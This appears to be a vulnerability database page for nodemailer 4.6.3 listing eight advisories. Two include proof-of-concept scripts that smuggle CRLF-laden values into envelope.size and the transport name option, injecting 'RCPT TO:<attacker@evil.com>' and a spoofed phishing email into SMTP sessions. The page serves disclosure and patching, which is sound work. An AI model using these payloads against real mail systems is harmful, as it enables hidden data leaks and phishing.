Staging Environment: Content and features may be unstable or change without notice.
Search for packages
Package details: pkg:npm/nodemailer@4.6.3
purl pkg:npm/nodemailer@4.6.3
Next non-vulnerable version 8.0.5
Latest non-vulnerable version 8.0.5
Risk 4.5
Vulnerabilities affecting this package (8)
Vulnerability Summary Fixed by
VCID-2hu2-v4hy-r3gf
Aliases:
CVE-2025-14874
GHSA-rcmh-qjqh-p98v
A flaw was found in Nodemailer. This vulnerability allows a denial of service (DoS) via a crafted email address header that triggers infinite recursion in the address parser.
7.0.11
Affected by 2 other vulnerabilities.
VCID-41gn-4tcp-3uep
Aliases:
CVE-2021-23400
GHSA-hwqf-gcqm-7353
Header injection in nodemailer
6.6.1
Affected by 6 other vulnerabilities.
VCID-4vp8-3n7k-53fk
Aliases:
CVE-2025-13033
GHSA-mm7p-fcc7-pg87
A vulnerability was identified in the email parsing library due to improper handling of specially formatted recipient email addresses. An attacker can exploit this flaw by crafting a recipient address that embeds an external address within quotes. This causes the application to misdirect the email to the attacker's external address instead of the intended internal recipient. This could lead to a significant data leak of sensitive information and allow an attacker to bypass security filters and access controls.
7.0.7
Affected by 4 other vulnerabilities.
VCID-6gsf-nqpf-vkc4
Aliases:
GHSA-46j5-6fg5-4gv3
Duplicate Advisory: Nodemailer is vulnerable to DoS through Uncontrolled Recursion
7.0.11
Affected by 2 other vulnerabilities.
VCID-78a1-gnn9-1ud6
Aliases:
CVE-2020-7769
GHSA-48ww-j4fc-435p
This affects the package nodemailer before 6.4.16. Use of crafted recipient email addresses may result in arbitrary command flag injection in sendmail transport for sending mails.
6.4.16
Affected by 7 other vulnerabilities.
VCID-bd1d-66mh-m7d7
Aliases:
GHSA-c7w3-x93f-qmm8
Nodemailer has SMTP command injection due to unsanitized `envelope.size` parameter ### Summary When a custom `envelope` object is passed to `sendMail()` with a `size` property containing CRLF characters (`\r\n`), the value is concatenated directly into the SMTP `MAIL FROM` command without sanitization. This allows injection of arbitrary SMTP commands, including `RCPT TO` — silently adding attacker-controlled recipients to outgoing emails. ### Details In `lib/smtp-connection/index.js` (lines 1161-1162), the `envelope.size` value is concatenated into the SMTP `MAIL FROM` command without any CRLF sanitization: ```javascript if (this._envelope.size && this._supportedExtensions.includes('SIZE')) { args.push('SIZE=' + this._envelope.size); } ``` This contrasts with other envelope parameters in the same function that ARE properly sanitized: - **Addresses** (`from`, `to`): validated for `[\r\n<>]` at lines 1107-1127 - **DSN parameters** (`dsn.ret`, `dsn.envid`, `dsn.orcpt`): encoded via `encodeXText()` at lines 1167-1183 The `size` property reaches this code path through `MimeNode.setEnvelope()` in `lib/mime-node/index.js` (lines 854-858), which copies all non-standard envelope properties verbatim: ```javascript const standardFields = ['to', 'cc', 'bcc', 'from']; Object.keys(envelope).forEach(key => { if (!standardFields.includes(key)) { this._envelope[key] = envelope[key]; } }); ``` Since `_sendCommand()` writes the command string followed by `\r\n` to the raw TCP socket, a CRLF in the `size` value terminates the `MAIL FROM` command and starts a new SMTP command. Note: by default, Nodemailer constructs the envelope automatically from the message's `from`/`to` fields and does not include `size`. This vulnerability requires the application to explicitly pass a custom `envelope` object with a `size` property to `sendMail()`. While this limits the attack surface, applications that expose envelope configuration to users are affected. ### PoC ave the following as `poc.js` and run with `node poc.js`: ```javascript const net = require('net'); const nodemailer = require('nodemailer'); // Minimal SMTP server that logs raw commands const server = net.createServer(socket => { socket.write('220 localhost ESMTP\r\n'); let buffer = ''; socket.on('data', chunk => { buffer += chunk.toString(); const lines = buffer.split('\r\n'); buffer = lines.pop(); for (const line of lines) { if (!line) continue; console.log('C:', line); if (line.startsWith('EHLO')) { socket.write('250-localhost\r\n250-SIZE 10485760\r\n250 OK\r\n'); } else if (line.startsWith('MAIL FROM')) { socket.write('250 OK\r\n'); } else if (line.startsWith('RCPT TO')) { socket.write('250 OK\r\n'); } else if (line === 'DATA') { socket.write('354 Start\r\n'); } else if (line === '.') { socket.write('250 OK\r\n'); } else if (line.startsWith('QUIT')) { socket.write('221 Bye\r\n'); socket.end(); } } }); }); server.listen(0, '127.0.0.1', () => { const port = server.address().port; console.log('SMTP server on port', port); console.log('Sending email with injected RCPT TO...\n'); const transporter = nodemailer.createTransport({ host: '127.0.0.1', port, secure: false, tls: { rejectUnauthorized: false }, }); transporter.sendMail({ from: 'sender@example.com', to: 'recipient@example.com', subject: 'Normal email', text: 'This is a normal email.', envelope: { from: 'sender@example.com', to: ['recipient@example.com'], size: '100\r\nRCPT TO:<attacker@evil.com>', }, }, (err) => { if (err) console.error('Error:', err.message); console.log('\nExpected output above:'); console.log(' C: MAIL FROM:<sender@example.com> SIZE=100'); console.log(' C: RCPT TO:<attacker@evil.com> <-- INJECTED'); console.log(' C: RCPT TO:<recipient@example.com>'); server.close(); transporter.close(); }); }); ``` **Expected output:** ``` SMTP server on port 12345 Sending email with injected RCPT TO... C: EHLO [127.0.0.1] C: MAIL FROM:<sender@example.com> SIZE=100 C: RCPT TO:<attacker@evil.com> C: RCPT TO:<recipient@example.com> C: DATA ... C: . C: QUIT ``` The `RCPT TO:<attacker@evil.com>` line is injected by the CRLF in the `size` field, silently adding an extra recipient to the email. ### Impact This is an SMTP command injection vulnerability. An attacker who can influence the `envelope.size` property in a `sendMail()` call can: - **Silently add hidden recipients** to outgoing emails via injected `RCPT TO` commands, receiving copies of all emails sent through the affected transport - **Inject arbitrary SMTP commands** (e.g., `RSET`, additional `MAIL FROM` to send entirely separate emails through the server) - **Leverage the sending organization's SMTP server reputation** for spam or phishing delivery The severity is mitigated by the fact that the `envelope` object must be explicitly provided by the application. Nodemailer's default envelope construction from message headers does not include `size`. Applications that pass through user-controlled data to the envelope options (e.g., via API parameters, admin panels, or template configurations) are vulnerable. Affected versions: at least v8.0.3 (current); likely all versions where `envelope.size` is supported.
8.0.4
Affected by 1 other vulnerability.
VCID-ff2r-stex-8ker
Aliases:
GHSA-vvjj-xcjg-gr5g
Nodemailer Vulnerable to SMTP Command Injection via CRLF in Transport name Option (EHLO/HELO) ### Summary Nodemailer versions up to and including 8.0.4 are vulnerable to SMTP command injection via CRLF sequences in the transport `name` configuration option. The `name` value is used directly in the EHLO/HELO SMTP command without any sanitization for carriage return and line feed characters (`\r\n`). An attacker who can influence this option can inject arbitrary SMTP commands, enabling unauthorized email sending, email spoofing, and phishing attacks. ### Details The vulnerability exists in `lib/smtp-connection/index.js`. When establishing an SMTP connection, the `name` option is concatenated directly into the EHLO command: ```javascript // lib/smtp-connection/index.js, line 71 this.name = this.options.name || this._getHostname(); // line 1336 this._sendCommand('EHLO ' + this.name); ``` The `_sendCommand` method writes the string directly to the socket followed by `\r\n` (line 1082): ```javascript this._socket.write(Buffer.from(str + '\r\n', 'utf-8')); ``` If the `name` option contains `\r\n` sequences, each injected line is interpreted by the SMTP server as a separate command. Unlike the `envelope.from` and `envelope.to` fields which are validated for `\r\n` (line 1107-1119), and unlike `envelope.size` which was recently fixed (GHSA-c7w3-x93f-qmm8) by casting to a number, the `name` parameter receives no CRLF sanitization whatsoever. This is distinct from the previously reported GHSA-c7w3-x93f-qmm8 (envelope.size injection) as it affects a different parameter (`name` vs `size`), uses a different injection point (EHLO command vs MAIL FROM command), and occurs at connection initialization rather than during message sending. The `name` option is also used in HELO (line 1384) and LHLO (line 1333) commands with the same lack of sanitization. ### PoC ```javascript const nodemailer = require('nodemailer'); const net = require('net'); // Simple SMTP server to observe injected commands const server = net.createServer(socket => { socket.write('220 test ESMTP\r\n'); socket.on('data', data => { const lines = data.toString().split('\r\n').filter(l => l); lines.forEach(line => { console.log('SMTP CMD:', line); if (line.startsWith('EHLO') || line.startsWith('HELO')) socket.write('250 OK\r\n'); else if (line.startsWith('MAIL FROM')) socket.write('250 OK\r\n'); else if (line.startsWith('RCPT TO')) socket.write('250 OK\r\n'); else if (line === 'DATA') socket.write('354 Go\r\n'); else if (line === '.') socket.write('250 OK\r\n'); else if (line === 'QUIT') { socket.write('221 Bye\r\n'); socket.end(); } else if (line === 'RSET') socket.write('250 OK\r\n'); }); }); }); server.listen(0, '127.0.0.1', () => { const port = server.address().port; // Inject a complete phishing email via EHLO name const transport = nodemailer.createTransport({ host: '127.0.0.1', port: port, secure: false, name: 'legit.host\r\nMAIL FROM:<attacker@evil.com>\r\n' + 'RCPT TO:<victim@target.com>\r\nDATA\r\n' + 'From: ceo@company.com\r\nTo: victim@target.com\r\n' + 'Subject: Urgent\r\n\r\nPhishing content\r\n.\r\nRSET' }); transport.sendMail({ from: 'legit@example.com', to: 'legit-recipient@example.com', subject: 'Normal email', text: 'Normal content' }, () => { server.close(); process.exit(0); }); }); ``` Running this PoC shows the SMTP server receives the injected MAIL FROM, RCPT TO, DATA, and phishing email content as separate SMTP commands before the legitimate email is sent. ### Impact **Who is affected:** Applications that allow users or external input to configure the `name` SMTP transport option. This includes: - Multi-tenant SaaS platforms with per-tenant SMTP configuration - Admin panels where SMTP hostname/name settings are stored in databases - Applications loading SMTP config from environment variables or external sources **What can an attacker do:** 1. **Send unauthorized emails** to arbitrary recipients by injecting MAIL FROM and RCPT TO commands 2. **Spoof email senders** by injecting arbitrary From headers in the DATA portion 3. **Conduct phishing attacks** using the legitimate SMTP server as a relay 4. **Bypass application-level controls** on email recipients, since the injected commands are processed before the application's intended MAIL FROM/RCPT TO 5. **Perform SMTP reconnaissance** by injecting commands like VRFY or EXPN The injection occurs at the EHLO stage (before authentication in most SMTP flows), making it particularly dangerous as the injected commands may be processed with the server's trust context. **Recommended fix:** Sanitize the `name` option by stripping or rejecting CRLF sequences, similar to how `envelope.from` and `envelope.to` are already validated on lines 1107-1119 of `lib/smtp-connection/index.js`. For example: ```javascript this.name = (this.options.name || this._getHostname()).replace(/[\r\n]/g, ''); ```
8.0.5
Affected by 0 other vulnerabilities.
VCID-ve91-7z7v-8fc3
Aliases:
GHSA-9h6g-pr28-7cqp
GMS-2024-59
nodemailer ReDoS when trying to send a specially crafted email
6.9.9
Affected by 5 other vulnerabilities.
Vulnerabilities fixed by this package (0)
Vulnerability Summary Aliases
This package is not known to fix vulnerabilities.

Date Actor Action Vulnerability Source VulnerableCode Version
2026-06-13T08:27:15.249118+00:00 GHSA Importer Affected by VCID-78a1-gnn9-1ud6 https://github.com/advisories/GHSA-48ww-j4fc-435p 38.6.0
2026-06-12T21:56:19.273292+00:00 GitLab Importer Affected by VCID-ff2r-stex-8ker https://gitlab.com/gitlab-org/advisories-community/-/blob/main/npm/nodemailer/GHSA-vvjj-xcjg-gr5g.yml 38.6.0
2026-06-12T21:39:36.912834+00:00 GitLab Importer Affected by VCID-bd1d-66mh-m7d7 https://gitlab.com/gitlab-org/advisories-community/-/blob/main/npm/nodemailer/GHSA-c7w3-x93f-qmm8.yml 38.6.0
2026-06-12T20:41:10.752148+00:00 GitLab Importer Affected by VCID-6gsf-nqpf-vkc4 https://gitlab.com/gitlab-org/advisories-community/-/blob/main/npm/nodemailer/GHSA-46j5-6fg5-4gv3.yml 38.6.0
2026-06-12T20:37:19.950641+00:00 GitLab Importer Affected by VCID-2hu2-v4hy-r3gf https://gitlab.com/gitlab-org/advisories-community/-/blob/main/npm/nodemailer/CVE-2025-14874.yml 38.6.0
2026-06-12T20:23:11.753432+00:00 GitLab Importer Affected by VCID-4vp8-3n7k-53fk https://gitlab.com/gitlab-org/advisories-community/-/blob/main/npm/nodemailer/CVE-2025-13033.yml 38.6.0
2026-06-12T19:18:09.217192+00:00 GitLab Importer Affected by VCID-ve91-7z7v-8fc3 https://gitlab.com/gitlab-org/advisories-community/-/blob/main/npm/nodemailer/GHSA-9h6g-pr28-7cqp.yml 38.6.0
2026-06-12T17:43:41.532516+00:00 GitLab Importer Affected by VCID-41gn-4tcp-3uep https://gitlab.com/gitlab-org/advisories-community/-/blob/main/npm/nodemailer/CVE-2021-23400.yml 38.6.0
2026-06-12T17:29:40.922954+00:00 GitLab Importer Affected by VCID-78a1-gnn9-1ud6 https://gitlab.com/gitlab-org/advisories-community/-/blob/main/npm/nodemailer/CVE-2020-7769.yml 38.6.0